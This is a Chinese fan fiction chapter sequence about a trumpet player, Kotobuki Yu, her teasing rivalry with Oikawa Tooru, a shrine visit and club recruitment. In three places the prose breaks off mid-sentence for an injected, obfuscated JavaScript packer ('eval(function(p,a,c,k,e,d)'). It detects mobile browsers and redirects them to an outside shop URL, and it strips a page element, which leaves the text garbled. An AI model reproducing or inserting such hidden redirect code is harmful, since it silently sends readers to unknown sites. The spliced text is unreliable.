琴吹悠摸了摸鼻尖。 她现在冷静了些,细细揣摩,对方似乎确实没有挑衅。 她有点先入为主了。 「Trumpet:不好意思。」 聊天栏上一直反复闪烁着【对方正在输入中】的字样。 琴吹悠眨眨眼。 手抽筋了? 好一会儿,对方发来了消息。 「Volleyball:…你是谁?」 「Volleyball:怎么拿了琴吹的手机?」 「Volleyball:你真是琴吹悠吗?」 「Volleyball:要不你还是骂我两句?」 「Trumpet:你是不是有病,垃圾及川。」 及川彻捂住自己的胸口,长舒一口气。 这才对嘛! 目睹一切的岩泉一:这家伙难道是抖M? 他看了看自己的岩拳,顿感头大。 以后及川彻把他惹恼,都不能用岩拳进行反击。 ——怕把他揍爽。 * 浅川栀子以琴吹悠为轴,进行公转运动。 苗子看她转了一圈又一圈,忍无可忍,助推一把。 栀子小行星坠落于琴吹悠跟前。 “有什么事吗,浅川学妹。” 浅川栀子被琴吹悠的笑击中,脑袋一团浆糊,晕乎乎地找不着北。 早间苗子叹气,替她询问:“学姐,马上就是新年了,我们几个约好了一起去神社祈福,学姐有时间吗?” 琴吹悠觉得,浅川栀子眼中期待的光芒俨然要把她晃瞎。 “可以的。” “但跟我一起出去玩,你们会不会不自在?” “绝对不会!”浅川栀子收到喜讯,飘飘然地浮到吹奏部一年级的几位同学跟前。 她雀跃地比划着手势。 此起彼伏的“芜湖”和“耶”跃入琴吹悠的耳朵。 她捏了捏自己的耳垂。 今天的吹奏部没开窗,闷得她都发烫了。 「最爱的琴吹学姐(栀子的备注):浅川学妹,我方便带个人嘛,你们认识的,是笹原学姐。」 「浅川:笹原学姐也会来吗!太欢迎了!!」 琴吹悠点开笹原学姐的聊天栏,面不改色地开始撒谎。 「Trumpet:学姐。」 「Trumpet:浅川学妹她们问我,你能不能也一起去神社祈福。」 「笹原:诶(^_^)」 「笹原:小栀子不是小悠你的超级粉丝嘛,怎么想起学姐我啦。」 琴吹悠的脸颊更烫了,她走到窗边,拉开一条缝。 「Trumpt:学姐你要毕业了,所以她们打算找你一起出去玩。」 「笹原:可惜我没有时间诶(大哭)」 「笹原:这样吧,我去找小栀子她们说一下」 这可不兴说! 琴吹悠急得冒烟,浅川她们又没有叫学姐,一问就露馅了。 「笹原:或者小悠你找我去神社祈福~说不定我就有空了~」 「Trumpet:……」 「Trumpet:那么明显?」 「笹原:漏洞百出~」 “老姐。”笹原澄皱眉,“能不能不要笑得那么可怕。” 笹原花凛拍了拍他的脑袋:“我跟学妹聊天呢,一边去。” 秉持着逗猫有度方可长久逗猫的原则,笹原收敛了些。 「笹原:学姐全天有空,求邀~」 当晚,琴吹悠少见地发了条动态。 [Trumpet:近期不想看见‘~’符号,波浪号过敏。] [浅川栀子:什么!居然过敏了吗,学姐保重身体啊!] [早间苗子回复浅川栀子:……] [笹原花凛:嘻嘻。] [Volleyball发来了一百条消息] 琴吹悠点开聊天框。 映入眼帘的是一百条“~”。 「Trumpet:疯?」 「Trumpet:闲?」 「Trumpet转发了一条链接」 【宫城县精神病院】 「Volleyball:没有啦~」 「Volleyball:在帮你做脱敏治疗~~~」 琴吹悠怒练小号三小时,心境逐渐恢复平和。 琴吹悠仿佛推开了新世界的大门,掌握了及川彻的妙用。 「Trumpet:你以后可以经常这样。」 「Volleyball:哪样?」 「Trumpet:刚刚那样。」 及川彻:…? 他困惑地打下:「为毛」 嗯… 琴吹悠思索,她的脑回路大概是:及川彻把她惹怒,岩泉一前几天提醒过她,及川彻疑似有抖M属性、会被骂爽,于是自己并不能一直和及川彻斗嘴,只能转而怒吹小号。 大概是化怒火为动力,她今天的状态异常好。 因此,及川彻=练好小号的催化剂。 她在脑海中构思了这么一长串的话,目光呆滞——这太长了,她懒得发。 “小悠~吃水果吗?”妈妈推开房门。 琴吹悠痛苦:“妈妈,今天可以不用波浪号语气讲话吗。” “好吧。”妈妈没有多问,把果盘放在她的桌上。 “妈妈。”琴吹悠询问,“假如我想让一个人帮我,他问我原因,原因太复杂了我懒得打字,该怎么跟他说?” 妈妈捧心:“哪家男孩子!” 小悠这么独立要强的孩子居然会找人帮忙。 并且还可以因为懒得打字,不打算说原因。 那一定是非常密切的关系! 琴吹悠不解地看着捧心的妈妈,询问:“妈你胸口疼吗,要不要叫医生。” 妈妈满面红光:“不必。” 她回忆和爸爸的青春岁月,笃定地说:“这种时候,只需要说【我喜欢你这样】就可以啦,桀桀桀桀…” 琴吹悠思索片刻。 好精炼的概括! 她确实喜欢刚刚吹小号如有神助的感觉。 在妈妈“芜湖湖”的诡异场景音环绕之下,琴吹悠冷静编辑消息。 「Trumpet:我喜欢你这样。」 * “阿彻?” 听到楼上乒呤乓啷的响声,及川妈妈火速上楼。她一手拿着锅铲,一手转开门把手,推看门一看—— 只见自家儿子人仰马翻躺在地上,四脚朝天,双手捧着手机,一眨不眨地看着屏幕。 及川妈妈幻视了一条守着骨头的小狗,她揉了揉眼睛,定睛一看。 怎么办,还是像条小狗。 “啊,妈妈。”及川彻从地上迅速爬起,迅捷如风地把手机抛至床上,再欲盖弥彰地给手机盖上被子,忙完这一大串动作,他说,“我没事,不小心摔倒了。” 这是有小秘密了。 心知肚明的妈妈视线扫过被棉被盖着的手机,可惜自己的眼睛不是扫描仪,望眼欲穿之后只得作罢。 她的视线又扫过及川彻通红的脸颊,最后轻轻带上房门:“要小心点哦。” 回到楼下,她立马把电磁炉的火熄灭,拨打电话:“阿娜达,你听我说,我们家儿子有情况了~” 房中的及川彻不知楼下发生的一切。 消息通知栏的显示篇幅有限,他只看到[Trumpet:我喜欢你……] 手机便像烫手般飞了出去。 而他为了接住手机,不知哪根筋搭错了,以身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄前久美子,琴吹悠的网友,目前是北宇治吹奏部部长,擅长调解各类社团内部人际交往的疑难杂症。 [章鱼脑袋:在躺平,有事请奏。] [Trumpet:当部长有什么要注意的吗?] [章鱼脑袋:如果是别人,我有以下N点要分享。如果是小悠…] [章鱼脑袋:我建议直接卸任,把部长给别人当。] [章鱼脑袋:第一,你压根不想当部长吧,我估计你觉得干这个会挤占你的练习时间,为什么不直接拒绝?] [Trumpet:反正我已经接下了,另外,有什么我做不好的事情?] [章鱼脑袋:(^_^)这就是第二点了。] [章鱼脑袋:小悠,当部长不是光靠强劲的吹奏实力就能把所有人吹服。还有,我觉得如果你一直用你那种完美形象和别人交往,恐怕也很难让别人跟你交心吧?] [Trumpet:…搞不懂。] [章鱼脑袋:所以说,还是卸任吧,趁新学期还没开始,让擅长的人当。] [Trumpet:我再想想。] 琴吹悠坐在桌前,用叉子拨弄果盘里的苹果块。 一时脑热,被笹原学姐激将成功。 但学姐平时虽然喜欢逗她,也不是什么强人所难的人,现在选择让她当吹奏部部长,肯定有她的考量。 况且…… 有人跟她说过,想要更进一步,一定要去吹奏部看看。 不过,在这待了一年了,她也没觉得有任何效果。 等到祈福那天,再问问笹原学姐吧。 5. chapter 5 * 琴吹悠讨厌冬天。 冬天,只要在室外待十分钟,手就会被冻僵。 被冻僵后,手指的灵活度会大幅下降,从而影响演奏。 现在的琴吹悠早已学会了如何保暖,如何迅速让自己的手指恢复状态,如何在演奏出现小意外时,自然地继续演奏下去。 但小时候的琴吹悠不擅长这些。 她还记得第一次小型演奏会,音乐厅离家很近,爸爸妈妈从外地赶来。 为了不让他们急于赶路,她告诉他们,自己一个人也能及时从家里抵达演奏厅。 上台前,她意识到自己的状态不对劲。 发红的手指像生锈的齿轮,她焦急地想让它们正常运转,直到走上那个亮堂堂的舞台,它们也没能照常转动。 气息、指法,那些本该刻在大脑里的东西,全都被抛至九霄云外。 那是一场失败的演奏。 坦白说,她不记得自己是怎么吹完的,也不记得自己是怎样走下舞台。 她只记得赶来现场的爸爸妈妈,给下台的她一个大大的拥抱,笨拙地安慰着“下次会吹得更好”。 她知道自己不讨厌冬天。 只是讨厌失败的自己。 - “小悠,要出门了吗?”琴吹妈妈看了看裹成球的女儿,浑身上下全副武装,戴着厚厚的手套,围巾捂着脸,只露出一双扑闪扑闪的眼睛。 她原本想叮嘱女儿多穿点衣服,看到这一幕,一时间卡了壳。 “唔…早去早回?” 琴吹悠点点头。 宫城县,比京都小很多。 从家到神社,只需要走五分钟。 出门的人大多成群结队,要么是同龄的玩伴,要么是一家人。 琴吹悠顺着人流,穿行其中。 她似乎是最早到神社的人。 琴吹悠环顾四周,没有找到吹奏部的同伴,于是拍了拍长椅上的雪,轻巧地坐了上去。 手裹得太厚,划手机也不方便。 她索性把手机放在口袋里,静静地看着雪。 汇合的地方在山脚,而真正祈福的地方在山顶,需要攀爬数百级台阶。 坐在这里眺望远处的山顶,漫山裹上了银白色的雪。 她想起排球部的人都会早起,在盘山路上跑圈——简直是一群精力旺盛的超人。 光是想想就好累。 把自己想累了的琴吹悠又缩成一团,今天的羽绒服是纯白色的,她坐在长椅上,一动不动地cos雪人。 - “苗子,那边有只好小的雪人!” “笨蛋,那是真人啊。” 浅川栀子眯眼:“怎么感觉有点像琴吹学姐。” “因为就是琴吹呀。”笹原学姐示意她们噤声,蹑手蹑脚绕到琴吹悠的身后,隔着毛绒帽子揉了揉她的脑袋,“Surprise!” 理想中小悠炸毛的场景并没有出现,尚存理智的琴吹悠在炸毛前先看了眼几位吹奏部的学妹,压制自己的火力,朝众人笑着招招手。 笹原学姐深感遗憾地收起了爪。 一行人向山顶的神社走去。 “琴吹学姐,你之前来神社祈福过吗?”浅川栀子好奇问道。 当然没有。 琴吹悠回忆,过去的冬天,她会舒舒服服地睡个自然醒。 然后一起床就马不停蹄地开始练习小号。 祈福没法提升自己的演奏水平,因此被琴吹悠丢进了名为【多余】的垃圾箱。 她悄悄踢了踢路上的雪团:“来过。” “学姐也来过!”浅川栀子怼了怼苗子的手臂,眼神传话。 [我以为学姐是那种,三百六十五天都在吹小号的人,没想到还有娱乐活动] 真·几乎全年无休练习的琴吹悠感觉鼻尖痒痒的,疑似撒谎的后遗症。 笹原学姐轻笑:“这个神社据说真的蛮灵验的,我也想求个签。” “求什么?”琴吹悠询问。 “Love.” 笹原学姐有点好笑地看着面前一圈嘴巴张成O型的女孩。 “拜托,我都高中毕业了,想谈次恋爱,不行吗?” “什么!”苗子比刚刚更震惊,“笹原学姐没有谈过恋爱吗?” 笹原摆出被万箭穿心的Pose,敲了敲耿直苗子的脑袋:“没有谈过!” 浅川栀子淡淡:“没事的,学姐。谈过一段之后就不会想了。” 琴吹悠眨了眨眼。 如此[万般皆空],真的是她熟悉的栀子吗? “谈恋爱哪有听琴吹学姐吹小号有趣!”浅川栀子眼中闪着光。 琴吹悠幽幽地收回视线。 ——还是她熟悉的栀子。 笹原学姐走到她身边,轻声问着:“偷偷问一下,小悠打算求什么签。” “小号。” “真的不求恋爱的吗~超灵。” 琴吹悠拿出挂着小号君的钥匙扣,摇了摇:“已婚,与小号君。” 笹原:“你们琴痴,恐怖如斯!” 虽说不信神佛,但事关与小号君的未来,琴吹悠还是相当庄重。 在心里默念数遍“好签”,轻轻一掷。 [五湖四海任君行,高挂帆蓬自在撑] 琴吹悠心满意足地捏了捏小号君。 “LOVE” 笹原学姐的话语像魔咒萦绕在耳边,琴吹悠心虚地看向笹原学姐,确认她在认真解签后,盯着手里的签筒。 就抛着玩玩看,她心想。 又哄了哄对小号君:我对你才是真爱。 她摇了摇。 一根签迫不及待地掉了下来。 [寻寻觅觅几多秋,一叶扁舟顺水游。放下尘劳抬望眼,佳人含笑立汀洲。] “这个签叫,蓦然回首。和小悠你合得来的人,就在身边。”笹原学姐探头。 琴吹悠思索。 “学姐,有点不灵。” “怎么这么说?” 琴吹悠认真:“因为我身边,暂时没有出现男性的物种,除了家人和老师。” “啊欧。”笹原学姐看向自己手中的签,正好对应她最近喜欢的黏人学弟。 她还以为很准呢。 * 苗子和栀子要去看哥斯拉大战食人魔,琴吹悠对这类恐怖影片退避三舍,栀子一步三回头地和她道别。 “又事要问我?”笹原学姐笑着说,“心事都写在脸上了。” 琴吹悠刚想开口,嘴便被笹原学姐提前捂住。 “我有件事要抢先一步说。” 笹原学姐从挎包里拿出一份小礼盒:“打开看看?” 琴吹悠小心翼翼地找到包装的衔接处,把包装纸近乎完整地保留了。 打开礼盒,里面是一双手套。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“小悠,好委婉,我听懂了,还想听直球。” “我没长嘴!” 笹原学姐笑得前俯后仰:“好啦,你想问我什么?” 琴吹悠拉住她的手,挠了挠笹原学姐的手背,示意她张开手心。 往手心里塞了个平安符,她自己做的。 “学姐,为什么一定要我当吹奏部的部长。虽然我被激将法激了,但你知道吧,我并不适合。”她困惑地问。 “你之前跟我说过,你的老师说,想要更上一层楼,或许可以去吹奏部看看。”笹原学姐把平安符小心收纳到夹层,“学姐我苦思冥想,终于明白了其中的真谛。” “…我都没想通。”琴吹悠的老师从小教她吹小号,知无不言,唯独在这件事上化作谜语人,告诉她要靠自己开悟。 笹原学姐也高深莫测:“这个秘诀,我也无法直接传授给你,但是,只要你当好部长,就能自己悟到!” 琴吹悠幽幽:“这是什么新型的坑蒙拐骗手法吗?” “保真,小悠信我。” 琴吹悠:“好吧。” 既然如此… 琴吹悠翻开手机备忘录,出示自己安排的吹奏部日程表:“学姐,你看看我的规划。” 笹原学姐一眼扫去,密密麻麻的安排,她横竖看了半天,才从缝隙里看出字来,整页都写着五个大字:疯狂地练习。 笹原学姐倒吸一口凉气。 “小悠…” “嗯?” “不是所有的人都能接受这——么长的练习时间,你多跟小栀子商量,民主安排。” 下一届吹奏部的孩子们,这是前部长能为你们做的最后一件事了。 6. chapter 6 * 神社祈福好像就在昨天,但假期早已接近尾声。 琴吹悠一整个假期,除了赴约和走亲戚,剩下的日子都蜗居在家。 要是爸妈实在看不下去,催她出去逛逛,她就带上笹原学姐送的手套,去公园捏一会雪人,就可以回家应付爸妈了。 当然,宫城县非常小。 小到总会遇到“不对付”的人。 “小岩,你说积雪什么时候彻底化掉?每天在馆里面跑步,闷的要命,我都跑腻了。” 听那懒洋洋又抱怨连天的声音,绝对是笨蛋及川。 琴吹悠看了眼时间,她的户外活动时间已经到了母亲要求的[三十分钟]。 她拍拍雪人的脑袋,在和及川彻遇上前溜之大吉。 ——她今天戴着红色毛线帽,裹得像企鹅,对上死对头,从气势上就稍逊一筹,还是来日再战! 一到家,刚扫去身上的雪,拿起手机,就弹出及川彻的讯息。 琴吹悠定睛一看。 「Volleyball:发送了一张图片」 点开图片,里面是自己先前堆的小雪人,不过造型上有些许出入。 胡萝卜的鼻子被替换成圆鼻子,还戴上了口罩;雪人的脑袋上顶着不知哪来的红色帽子,红与白相衬分外显眼;雪人的树枝左手上艰难地插着一块留言板,上面写到——我是笨蛋,右手留言板写着——猜猜我是谁。 琴吹悠怒了。 笨蛋及川眼睛太尖,自己都马不蹄停溜走了,居然还会被发现。 此事最后以琴吹悠连夜回到公园,把雪人帽子偷走,换上及川彻同款黑白护膝,并让雪人拿着“我才是笨蛋”的牌子告终。 琴吹悠第一时间就拍照留念,并发给及川彻。 「Volleyball:拜托,现在十一点半,你一个人跑去了公园?」 「Trumpet:对啊,我都回家了」 琴吹悠心想,总不能让有损她形象的雪人在公园里站一整天。 她一凛,警惕: 「Trumpet:难道你现在要跑去又弄回来?」 「Trumpet:我会连夜巡视的!」 「小号君的凝视jpg.」 「Volleyball:……」 「Volleyball:我认输!不会半夜跑出去弄那个雪人,你就待在家里吧,大半夜的。」 又过了半晌。 「Volleyball:没有关心你的意思。」 琴吹悠感到莫名。 「Trumpet:没有产生那种误会:)」 于是黑白护膝雪人安稳地在公园里度过了一个冬天。 * “你确定这家店很会做海报设计,价钱还便宜?”琴吹悠质疑。 琴吹悠和及川彻站在[一流打印社]前,“一流”二字饱经风霜,字迹都被磨损了。 “这么多年了,我们排球社一直都是在这印海报的,你看看我们社团,是不是非常人丁兴旺。”及川彻挥挥手,示意她跟上,“当然,也少不了我这个部长——站在那里,就非常有个人魅力。” 琴吹悠:“是指坑蒙拐骗的能力?” 及川彻:“还在诋毁。” 不知为何,知道她要担任吹奏部部长,及川彻比她还积极,时不时来询问她的招新计划。 还大力推荐这家打印店。 在踏进店门前,琴吹悠拽了拽及川彻的衣角,他转过身。 琴吹悠轻扯着他水蓝色的围巾,及川彻怔愣地低下头。 事出反常必有妖。 琴吹悠一眨不眨地盯着他,试图分辨如此积极的及川彻到底打着什么主意。 半晌,她松开围巾,问:“你很热?” 及川彻不自在地站直了,攥着围巾的一角:“没有。” 她指了指自己的耳垂:“你这里好红。” 琴吹悠话音刚落,便看见眼前的人像煮熟的虾,浑身从耳垂开始,都变得红通通的。 她头上挂着大大的问号。 及川彻大声:“我没有!” 他忙乱地转移话题:“你叫我停住干嘛?” 琴吹悠:“你怎么突然这么热心。” 及川彻哈了一声,挺起胸膛:“那是因为我本来就是个大好人。” 琴吹悠显然没信。 及川彻:“嗯…还有就是,我想问问。” 及川彻的眼睛充满希冀的光:“你当上部长,凭咱俩的交情,青叶城西比赛的时候,能不能有吹奏部拉拉队?” 他拿出手机,在某个收藏夹中轻车熟路地找到了对应的视频。 “这是稻荷崎应援队。” “是很拉风。”琴吹悠接过手机,“而且吹奏水平也很高,是个强劲的对手。” “嗯,确实是不错的对手。”及川彻隐约觉得他俩说的事情不在一个频道上。 “不会觉得被干扰吗?”她拖动进度条。 及川彻:“这种对我来说简直是小菜一碟。” 他像琴吹悠表姐家的大型犬,兴奋地一边转圈一边追问:“怎么样怎么样,来给我们加油吧。” 嘶。 突然觉得死对头变得顺眼了。 这是一个不详的征兆。 琴吹悠极力让自己的大脑保持清明。她想,自己果然是个狗派,就连死对头的行为举止接近小狗,自己都会被蛊惑。 理智回归的她回答:“得看吹奏部的时间安排。” 及川彻:“好耶。“ …… 怎么表现得跟她已经答应下来了一样。 “望叔,我又来了!”及川彻熟稔地跟坐在店里的大叔打着招呼。 及川彻早已提前介绍过这位“望叔”——近藤望。 毕业于京都市立艺术大学,但在大城市干了六年后就辞职了,回到家乡开了家小打印店。 据说他在辞职前,还站在公司门口大喊:“我不当社畜了!” 总之是个很有态度的文艺青年。 琴吹悠看着一头中长发,窝于沙发中的中年大叔,莫名幻视了一条带鱼。 带鱼大叔说话了:“你又来了,我难缠的甲方。这次你又带来了什么抽象的排球部招新海报要求?烦请你说的具体点,还有这次一定别要第一版的稿了。” 即使辞职了,大叔怎么还是一身社畜味,恐怖如斯。 带鱼大叔又用那双死鱼眼看向琴吹悠:“这位看着满是卷王气息的小姐,也是我的新甲方吗?” 【卷王】 她的强者气息已经可以称王了吗? 带鱼大叔的死鱼眼总算有了波动,他不解扭头问及川彻:“她觉得我在夸她?” 及川彻跳过了这一话题:“望叔,她是我给你带的新客户,吹小号的,要弄个吹奏部的海报。” “还有,我什么时候给你很抽象的要求了,不就是上次说想要一点【振奋】【霸气】【球场称王】的元素吗?”他笑了笑,“这次海报就跟上次差不多得了,望叔你帮我改个年份就行,打印三百份!” “成。”近藤望三两下调出之前的设计模板,敲了下键盘,打印机便开始轰鸣运转,“另一位甲方,你的要求呢?” 这是琴吹悠第一次当甲方。 她既跃跃欲试,又有些紧张地坐在近藤望跟前的椅子上,开始构想招新海报轮廓。 “首先呢,要体现我们的招新要求,我们需要的是勤奋上进的成员,最好有想要拿全国大赛金奖的信念。” 琴吹悠发现,在要求前加上“首先”、“其次”、“再次”、“最重要的是”这样的词汇,想提的要求就像滔滔江水顺利地倾泻而出。 她越说越起劲:“还要有点年轻人的元素,就比如我最近一直在看的番,音乐少女拯救世界,里面的角色就很萌,适合放在海报上。” 及川彻:“……还有这种魔幻动漫?” 琴吹悠展示自己身侧的小号君:“还有这个IP,就是把所有乐器都做成了玩偶的形象,这是小号君,所有玩偶里最可爱的。” 她像是想到了什么关键要素,双手合十:“可以让小号君在海报中占据乐器的C位吗,这很重要。” 及川彻立马指出:“夹带私货!” 琴吹悠幽幽从打印机那拿来一张海报,右下方有一行醒目的字。 ——加入排球部,即可领略全国一流二传手的风采。 及川彻合上了嘴。 光是想着小号君占领C位,琴吹悠就已把自己想美了。 “交给你了,带鱼大叔!” 近藤望忍无可忍:“不要把你心里给我起得奇怪外号念出来啊喂!” 及川彻:“就是,成何体统。就像我,从来不会叫望叔颓废老哥。对吧望叔!” 及川彻和琴吹悠被望叔“请”出了门外,名义是不打扰他设计海报。 大概半小时,望叔又把蹲在大榕树下数蚂蚁的他俩抓回了店里。 “如果把那个动漫角色和这个乐器IP都加进去,就有点要素过多了,所以我做了两版,一个是动漫角色的,一个是乐器IP的,你选一个?” 琴吹悠毫不犹豫地选择了乐器IP的。 因为动漫角色的主角是拉小提琴的,而第二个海报,小号君牢牢站住了C位,尽显小号风采。 琴吹悠没有当折磨人的甲方。 她对这个海报爱不释手,立马敲定了。 带鱼大叔:“要印多少份?” 琴吹悠:“三百零一份。” 及川彻:…… 某人绝对还在攀比。 * 琴吹悠后悔自己印了三百零一份海报了。 她望着倚叠如山的海报,手指颤动:“我们要把它们,全部发完?” “是呀!”浅川栀子斗志昂扬,第一次跟琴吹学姐一起发海报,这么重大的事情,感觉需要发个动态记录一下。 早间苗子:“说起来,上次招新,琴吹学姐也不在呢。” 琴吹悠讪讪:“笹原学姐叫我待在家里练琴就好。” 说起来,她对招新的流程分毫不知。自己加入吹奏部纯粹是自愿加入,并且在没有收到招新海报前就已经到吹奏部排练厅填好了报名表。 现在回忆一下,她才找回记忆里的那些画面——一路上挥舞着海报想往她怀里塞海报的学长学姐。 原来她们也要这么招新吗? …还印了三百零一份。 琴吹悠面如死灰。 即使心中的小人已经在震耳欲聋地尖叫,她也牢牢记得自己在外的人设,她对两位学妹鼓励一笑:“谢谢你们今天主动说要来帮我忙,我们一起加油吧,每人一百份,一定能做到。” “好!!”早间与浅川齐声应和,随即就像脚底踩了风火轮,举着海报就消失在了浩瀚人群中。 叮嘱另一个社员看好吹奏部的摊位后,琴吹悠叹了口气,也迈进了人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228646|197584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群里。 发海报的第一式,抛弃脸皮。 每一位学弟学妹看起来都是那样行色匆匆,如果是过去的琴吹悠,自然不会打扰他们,但现在她已经是钮祜禄·小悠。 她穿梭于人群中,向懵懂的学弟学妹们硬塞海报,即使有的人还没有学过乐器。 ——“别担心,很好入门的,来试试看吧!” 发海报第二式,和学弟学妹合照…? “学姐,你的金头发是天生的吗,好漂亮!可以合照吗?” “我外祖母是英国人,遗传她的。” “既然合照了,也拿一张我们吹奏部的海报吧,有空来填填报名表。”琴吹悠轻车熟路地说道。 还有,学妹你不是红头发吗,为什么要对她的金头发表示震惊。 不过这些都不重要,她现在已经是个没有灵魂的发海报机器了! 不知不觉,厚厚的海报只剩十几张了,琴吹悠雀跃地心想,马上就要结束了。 她环视四周,竟然发到了吹奏部活动室附近。 活动室在二楼,远远的,她看到一名少女站在楼下,似乎透过玻璃窗望向活动室。 海报姬琴吹悠走上前:“你好呀,是学妹吗,要不要看看我们吹奏部的海报,对加入吹奏部感兴趣吗?” 好高。 凑近一看,她才发现,学妹的身高有一米七几,比她高出一截。 黑色的长发几乎到了腰部,瞳色偏灰,冷冷地注视着她捏着海报的手。 她递出海报,几秒后,对方依旧没有伸出手去接。 琴吹悠以为对方对吹奏部丝毫不感兴趣,连海报都不愿意接过,刚想说“抱歉”,对方却动了。 她拿走海报:“小号在中间。” 琴吹悠:“是吧!小号君占据了C位。” 学妹:“我也是吹小号的。” 琴吹悠:“原来是有基础的呀,那就更适合加入我们吹奏部了。” 学妹:“我叫绘里音。” 怎么突然到了自我介绍的环节。 琴吹悠愣愣地应到:“我叫琴吹悠。” 绘里音点点头:“我小号吹得很强,不会输给你。” 哈?! 琴吹悠的目光霎时就变了。 此人不像是来加入吹奏部的,反倒像是来踢馆的。 况且,她听过自己吹小号吗,竟然放下狠话说不输于她。 可恶。 琴吹悠偷偷稳住身形,踮起脚尖,让自己的气势得以比肩这位一米七的学妹。 她露出“善意”的微笑:“那就更需要学妹这样的人加入我们吹奏部了。” 届时你就会知道我吹得有多厉害! 绘里音突然浅浅地笑了:“好的,学姐。” 她拿着海报,转身离开。 * 又转了一圈,琴吹悠终于要把手里的海报通通发完了,只剩下最后一张。 她罢工不干了。 除了在活动室练习,平常,她还会搬一把椅子,放在一楼室外楼栋的交界处。 那里在傍晚总能照到太阳,又很安静,少有人打扰。 她坐在自己的专属座位上,把剩下的一份海报放在谱架之上,闭着眼睛,夕阳的光洒在她的脸上,温暖又不刺眼。 当部长第一天,甚至都没有开始正式干活,只是招新发海报,她就已经感到筋疲力尽了。 和人打交道,果然比和小号打交道难上许多。 她闭着眼,揪了揪自己的脸颊,感觉自己的脸都快要笑僵了。 温暖的阳光被一片阴影遮住。 她听到沙沙的声响,有人从谱架上拿走了海报。 琴吹悠倏地睁眼。 那只手的手掌颇大,指节分明,隐约看见脉络分明的青筋,手腕处有常年化不开的淤青,是托球的痕迹。 她刚绷紧的身子又松了回去,瘫在椅背上,两脚踩着谱架,朝前一蹬。 谱架的后背拍在某人的腹部,闷闷的一声。 “超痛的!”及川彻惊呼。 “呜呜~超痛的~”琴吹悠知道自己分明只是轻轻一推,更何况面前的人有练了那么久的腹肌,“要呼呼吗?” 及川彻悚然:“你被什么东西附身了?” 琴吹悠扯着嘴角诡异一笑:“哈哈,发了一百张海报,有不疯的吗?” 及川彻:“你怎么不多叫点人?” “难道觉得不用发海报,人都会走到摊位上自己拿?” 嗯。 一开始她确实这么觉得。 他卷起海报:“这份我拿走了。” 琴吹悠笑道:“干嘛,不打排球,改行吹小号了?” 及川彻:“我觉得行,你觉得我天赋如何?” 琴吹悠在胸前比了个大写的X:“零。这边建议你迅速放弃这个念想。” 及川彻用卷起的海报遥遥戳了下琴吹悠的脸颊,被她咻地拍下。 他大笑,一边扯了扯自己的脸颊:“刚刚某人这样,被我看得一清二楚。” 琴吹悠:“垃圾及川,偷窥狂。” “我明明是路过!” 琴吹悠懒洋洋地打了哈欠,抹了抹自己的眼角。 之前没觉得,现在当了一天的部长,反而觉得跟及川彻斗嘴的日常相当轻松解压。 大概是把压力全部转移到了及川彻的身上吧! 她从椅子上一下蹦起。 “收工,回家。” 7. chapter 7 “你要不找个地歇歇呢?”及川彻垫了垫球,“我怕你接不到排球,还被我砸晕。” 琴吹悠拱了拱手,示意他放马过来。 然后稳稳当当地接住了这一球。 青叶城西的体育课,每年都会有一项特殊的球类项目,高三刚好轮到排球。 这让及川彻的人气顿时在班上水涨船高,因为只要你向他请教,他就会相当积极地进行教学,直到你会为止。 “哈哈,大家又不会成为我的竞争对手,怎么教都无所谓吧。” 当时的琴吹悠敏锐反问:“那竞争对手向你求教,你教不教。” 及川彻哽住许久,久到琴吹悠意识到,假设中的这个人确实存在。 及川彻颠了两下球,垂眸:“……那得他求我。” 琴吹悠了然,所以还是会教。 她设想了有一天,自己也面对着这样的对手,她果断:“求我我也不教。” “诶诶。”及川彻惊讶,“没想到你是这样的琴吹。” “面对对手,当然要围追堵截,保护自己的秘诀。”她说,“我不能输。” 及川彻哪壶不开提哪壶:“吹奏部的比赛,你们不是天天在输吗?” 据他所知,吹奏部连府赛都进不了。 琴吹悠:“那是团体比赛,不是我一个人的水平决定的。” 她拿出手机,展示自己相册里的一众证书与奖杯。 ——好家伙,居然有人跟他一样,把所有的证书、奖杯和奖牌都专门放在一个相册里,方便随时随地朝人显摆。 及川彻大为震撼。 从三岁到十四岁,参加的所有比赛,琴吹悠都是金奖。 琴吹悠得意地微微仰起头,圆圆的杏眼快速循环地播放一批弹幕,看得及川彻眼花缭乱。 [怎么说,强大无需多言] [被吓到了也不会笑你的,情理之中啦] [快夸我快夸我快夸我] 及川彻的心中也飘出了一堆弹幕。 [快夸她快夸她快夸她] 凭着铁一般的意志,他摁下溜到嘴边的话,漫不经心地望向天空:“怎么只有之前的,这几年的呢?” 琴吹悠收回得意的脑袋,冷哼一声:“是老师不让我参赛,说要沉淀几年。” 琴吹悠不觉得不和别人交流心得是什么错事。 她认为自己的这套学琴之路是靠勤奋与老师的指点堆叠出的,好不容易在漫长的学艺生涯总结出零星半点经验,她才舍不得和别人分享。 ——总之,她也不要别人的经验就行了吧。 当她把自己自私的想法告诉老师时,老师并没有训斥她,只是笑着摸了摸她的脑袋,什么话也没说。 * “所以,你今天黑眼圈怎么这么重?” 琴吹悠发球:“做了个噩梦。” 她问:“你们招新的时候,有没有遇到那种……” 她的脑海中浮现出那双黑灰色的瞳孔,一时不知该如何形容。 及川彻:“刺头?” 他大吐苦水:“干我们这一行的,超多犟种好吗,而且一个个都是大块头,我都惊了,今年高一进来的,一堆比我还高的,吃什么长大的?” 琴吹悠一笑:“反正不是牛奶面包。” 